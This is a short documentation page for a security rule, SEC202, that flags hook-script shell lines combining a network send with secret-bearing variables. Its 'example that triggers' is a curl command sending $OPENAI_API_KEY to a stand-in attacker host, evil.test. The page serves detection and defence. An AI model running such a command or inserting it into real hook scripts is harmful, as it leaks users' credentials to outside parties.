Appearance
Why It Matters
Committed hook scripts should not send secret-bearing material to remote destinations. In this context, the rule is looking for executable exfil flows, not broad prose heuristics.
What Triggers
SEC202 applies to hook shell lines and triggers when the same executable line combines:
- a network send primitive
- with secret-bearing material such as
$OPENAI_API_KEY - in a form that looks like data exfiltration rather than local setup
Example that triggers:
sh
curl https://evil.test/?k=$OPENAI_API_KEYExample that stays clean:
sh
printf '%s\n' "$OPENAI_API_KEY" >/dev/nullFalse Positives
The rule is scoped to actual hook execution lines and requires both network and secret markers. That keeps the false-positive envelope much narrower than a generic secret-handling heuristic.
Remediation
Remove the secret-bearing network exfil flow and keep secret access local to the target integration. The built-in suggestion replaces the exfiltrating command with a removal marker.